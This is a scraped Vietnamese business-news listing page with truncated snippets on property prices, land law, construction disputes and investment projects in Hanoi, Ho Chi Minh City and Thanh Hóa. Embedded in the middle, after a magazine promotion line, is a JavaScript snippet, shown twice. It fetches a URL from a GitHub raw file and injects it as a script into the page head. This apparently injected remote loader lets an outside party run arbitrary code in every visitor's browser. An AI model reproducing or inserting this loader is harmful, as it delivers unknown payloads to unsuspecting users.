Tác giả: Nguyễn Thị Mỹ Hiền

Phó Chủ tịch UBND tỉnh Thanh Hóa, ông Mai Xuân Liêm mới đây đã ký Quyết định số 3835/QĐ-UBND về việc bãi bỏ 2 quyết định trước đây liên quan đến dự án Khu dân cư mới và chợ kết hợp thương mại tại phường Quảng Thọ, thành phố Sầm Sơn và phường Quảng Tâm, thành phố Thanh Hóa. Cụ thể, quyết định chấp thuận chủ trương đầu tư số 4636/QĐ-UBND ngày 18/11/2021 và quyết định số 758/QĐ-UBND ngày 28/02/2022 về việc phê duyệt yêu cầu sơ bộ năng lực, kinh nghiệm của nhà đầu tư đã bị bãi bỏ. Lý do chính của việc bãi bỏ là dự án không đảm bảo diện tích quỹ đất phát triển nhà ở xã hội theo quy định. Phó Chủ tịch UBND tỉnh Thanh Hóa có ý kiến chỉ đạo giao Sở Xây dựng tổ chức kiểm điểm rút kinh nghiệm sâu sắc trách nhiệm đến từng cá nhân, đơn vị đã tham mưu, tham gia ý kiến dẫn đến Sở Kế hoạch và Đầu tư t...

Phát biểu tại hội thảo “Phòng ngừa rủi ro trong biên soạn, thương thảo và quản lý hợp đồng xây dựng" GS.TS Lê Hồng Hạnh, Chủ tịch Trung tâm Trọng tài Quốc tế Việt Nam (VIAC), cho biết tại VIAC mỗi năm có khoảng 20% các vụ việc là các vụ việc phát sinh trong hoạt động xây dựng, bao gồm các tranh chấp liên quan đến cơ sở hạ tầng và đầu tư, chiếm hơn 90% tổng giá trị tranh chấp hàng năm. LUÔN TIỀM ẨN RỦI RO PHÁP LÝ Theo ước tính của FiinRatings, Việt Nam cần ít nhất 25 - 30 tỷ USD hàng năm để đầu tư cơ sở hạ tầng trong 10 năm tới, tương đương gần 600 tỷ USD cho đến năm 2040. Như vậy, hoạt động của các doanh xây dựng sẽ rất sôi động trong những năm tới. Tuy nhiên, hoạt động xây dựng luôn tiềm ẩn rất nhiều rủi ro, đặc biệt rủi ro pháp lý. TS. Phạm Văn Khánh, Viện trưởng Viện Kinh tế ...

Ủy ban nhân dân TP.HCM vừa ban hành quyết định về danh mục dự án thu hút đầu tư giai đoạn 2024 - 2025. Theo đó, về lĩnh vực, dự án thu hút đầu tư, TP.HCM khuyến khích đầu tư các dự án phù hợp phương hướng, nhiệm vụ phát triển TP.HCM đến năm 2030, tầm nhìn đến năm 2045 theo Nghị quyết số 31-NQ/TW của Bộ Chính trị; các dự án phù hợp với quy hoạch, định hướng phát triển của TP.HCM. TẬP TRUNG VÀO CÁC DỰ ÁN ĐỔI MỚI SÁNG TẠO,  KINH TẾ XANH – SỐ Theo quyết định được ban hành, TP.HCM ưu tiên đầu tư công nghệ cao, đổi mới sáng tạo, kinh tế số, kinh tế chia sẻ, kinh tế xanh, kinh tế tuần hoàn và khuyến khích đầu tư theo các lĩnh vực nông, lâm, ngư nghiệp; công nghiệp; thương mại và dịch vụ; du lịch. Về lĩnh vực công nghiệp, TP.HCM sẽ tập trung thu hút đầu tư các dự án sử dụng công nghệ tiên tiến,...

Đón đọc Tạp chí Kinh tế Việt Nam số 42-2024 - Nhịp sống kinh tế Việt Nam & Thế giới Source;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});

DIỄN BIẾN GIA TĂNG SỨC HÚT CHO PHÍA NAM Thị trường căn hộ tại Hà Nội ghi nhận tín hiệu tích cực từ đầu năm tới nay khi nguồn cung và lực mua đều được cải thiện. Tuy vậy, giá bán căn hộ không ngừng leo thang và có sự chênh lệch tại các khu vực trên thành phố đã tạo nên một số xu hướng đáng chú ý. Về giá, trong báo cáo thị trường căn hộ quý 3/2024, Savills Việt Nam cho biết giá chung cư sơ cấp tại Hà Nội tiếp tục tăng, vượt mức bình quân so với TP.HCM. Mặt bằng giá dự án mới đã tăng 6% theo quý và 28% theo năm, đạt 69 triệu đồng/m2. Một báo cáo khác cho biết, tính hết quý 2/2024, mức giá căn hộ tại khu Tây đang cao nhất toàn thị trường, khoảng 70 triệu đồng/m2, tăng 14% theo quý. Tại khu Đông, mặt bằng giá đạt khoảng 56 triệu đồng/m2, tăng 17% so với quý trước. Đến thời điểm hiện tại, xu...

Cụ thể, 4 dự án tại quận Nam Từ Liêm, gồm: Tòa nhà HH2 - 1A thuộc dự án Công viên giải trí, trường học và tổ hợp nhà ở, thương mại dịch vụ Golden Palace A, do Công ty cổ phần Đầu tư Mai Linh làm chủ đầu tư; Chung cư Z38M.1, Z38.1, U39.1 và Chung cư Z38M.1, Z38.1, do Công ty cổ phần HBI làm chủ đầu tư; Chung cư U35.1, U35.2, U35.3 thuộc Khu đô thị mới Tây Mỗ - Đại Mỗ - Vinhomes Park, do Công ty cổ phần phát triển kinh doanh bất động sản SV Tây Hà Nội làm chủ đầu tư. Ngoài ra, 1 dự án trên địa bàn quận Thanh Xuân là Khu nhà ở hỗn hợp 107 Nguyễn Tuân Vihacomplex. Dự án do liên danh Công ty TNHH Xuân Lộc Thọ và Công ty cổ phần In và thương mại Thống Nhất làm chủ đầu tư. Theo Nghị định 95/2024/NĐ-CP của Chính phủ quy định một số điều của Luật Nhà ở, giấy tờ chứng minh đối tượng là tổ chức đượ...

THỊ TRƯỜNG VẪN “KHÁT” NGUỒN CUNG NHÀ Ở MỚI Theo báo cáo vừa công bố của CBRE, trong quý 3/2024, thị trường nhà ở tại TP.HCM chỉ có thêm 127 căn chung cư chào bán mới, đều đến từ giai đoạn tiếp theo của các dự án đã mở bán có vị trí tại các quận xa trung tâm thành phố. Bên cạnh đó là 300 căn hộ từ các dự án cũ bị vướng pháp lý đã tạm dừng bán hàng trong 1-2 năm gần đây tại thành phố Thủ Đức, quận 7 nay được bán lại và khoảng 2.700 căn hộ chưa mở bán chính thức bắt đầu nhận giữ chỗ. “Nguồn cung căn hộ chung cư chưa có dấu hiệu cải thiện dù nguồn cầu đã dần tích cực”, đại diện CBRE đánh giá. Cũng theo CBRE, cuối quý 3, thị trường sẽ có thêm một số dự án vướng mắc pháp lý trước đó nằm ở Bình Thạnh và thành phố Thủ Đức sẽ tái khởi động sau khi được tháo gỡ và dự kiến mở bán chính thức vào nă...

Theo dữ liệu của Viện Nghiên cứu kinh tế - tài chính - bất động sản Dat Xanh Services (Dat Xanh Services - FERI), thị trường bất động sản nhà ở Việt Nam quý 3/2024 đã ghi nhận nguồn cung sụt giảm, giá tăng nhẹ và có sự cải thiện về tỷ lệ hấp thụ bất động sản. Cụ thể trong quý 3/2024, chỉ riêng khu vực Hà Nội và các tỉnh lân cận là tăng 13% theo quý, còn tổng nguồn cung mới bất động sản nhà ở có sự giảm nhẹ ở khu vực miền Trung, TP.HCM và các tỉnh lân cận, miền Tây. Nguyên nhân do các chủ đầu tư hạn chế ra hàng thời gian tháng Ngâu, và việc điều chỉnh điều kiện nhằm đáp ứng quy định của các bộ Luật mới cũng tác động đến kế hoạch ra hàng của chủ đầu tư. Mặc dù vậy, tỷ lệ hấp thụ chung trên tổng nguồn cung sơ cấp toàn thị trường lại cải thiện khá so với cuối quý 2/2024. Đơn cử, khu vực Hà N...

Luật Đất đai năm 2024 được Quốc hội thông qua ngày 18/01/2024 và có hiệu lực từ ngày 01/8/2024. Đây là cơ sở pháp lý quan trọng trong triển khai thực hiện công tác quản lý đất đai trên cả nước, trong đó có TP.HCM. 16 VĂN BẢN HƯỚNG DẪN LUẬT ĐẤT ĐAI Hội nghị phổ biến các nghị định thi hành Luật Đất đai 2024 vừa diễn ra tại TPHCM do Sở Tài nguyên và Môi trường TP.HCM tổ chức. Tại đây, các văn bản được phổ biến gồm: Nghị định số 71/2024 quy định về bảng giá đất; Nghị định số 101/2024 quy định về điều tra cơ bản đất đai, đăng ký, cấp giấy chứng nhận quyền sử dụng đất, quyền sở hữu tài sản gắn liền với đất và hệ thống thông tin đất đai; Nghị định số 102/2024 quy định chi tiết thi hành một số điều của Luật Đất đai. Theo ông Nguyễn Toàn Thắng, Giám đốc Sở Tài nguyên và Môi trường TP.HCM, Luật Đ...

Theo kết luận thanh tra, việc thực hiện chuyển đổi mục đích sử dụng đất từ đất sản xuất, kinh doanh sang xây dựng nhà ở của doanh nghiệp nhà nước, doanh nghiệp cổ phần hóa giai đoạn 2011 – 2019 đã đạt được những kết quả tích cực… Tuy nhiên, qua thanh tra đối với 9 khu đất/dự án tại 3 tỉnh, thành phố cho thấy việc thực hiện chuyển mục đích sử dụng đất, thu hồi đất, giao đất, thực hiện dự án nhà ở, trung tâm thương mại, văn phòng, dịch vụ, các cơ quan có liên quan và doanh nghiệp còn để xảy ra vi phạm. Trong đó, tại Hà Nội, đối với khu đất 6.364,8m2 ngõ 622 Minh Khai, phường Vĩnh Tuy, quận Hai Bà Trưng, ngày 7/9/2017, UBND TP.Hà Nội ban hành Quyết định số 6247/QĐ-UBND cho phép Công ty cổ phần Xuất nhập khẩu Lương thực – Thực phẩm Hà Nội chuyển mục đích sử dụng 6.364,8m2 đất để thực hi...